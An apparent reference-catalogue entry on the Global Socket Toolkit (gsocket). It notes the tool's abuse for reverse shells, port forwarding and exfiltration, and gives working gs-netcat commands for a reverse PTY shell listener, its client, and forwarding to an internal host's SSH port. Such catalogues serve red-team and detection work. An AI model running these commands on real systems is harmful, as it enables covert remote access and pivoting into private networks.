.. /Gsocket
Star

Access

The Global Socket Toolkit (gsocket) allows two hosts behind NAT/Firewall to establish an encrypted TCP connection with each other through the Global Socket Relay Network (GSRN), using tools like gs-netcat and gsocket. Can be abused for reverse shells, port forwarding, SOCKS proxying and data exfiltration.

Paths:

Resources:

Acknowledgements:

Detections:

Access

  1. Server-side of a reverse PTY shell. Spawns a true interactive login shell when a client connects using the same secret.

    gs-netcat -s MySecret -l -i
    Use case
    Interactive reverse shell access to a host behind NAT/firewall.
    Privileges required
    User
    Operating systems
    Linux, MacOS, BSD, Windows (gs-netcat client)

  2. Client-side connection to the gs-netcat listening server, giving a real interactive PTY shell.

    gs-netcat -s MySecret -i
    Use case
    Connecting to a reverse shell hosted behind NAT/firewall.
    Privileges required
    User
    Operating systems
    Linux, MacOS, BSD, Windows

  3. Port-forwards connections arriving on the client's specified port to 192.168.6.7:22 on the server's private network.

    gs-netcat -s MySecret -l -d 192.168.6.7 -p 22
    Use case
    Reach an internal host/service on a NAT'd network.
    Privileges required
    User
    Operating systems
    Linux, MacOS, BSD, Windows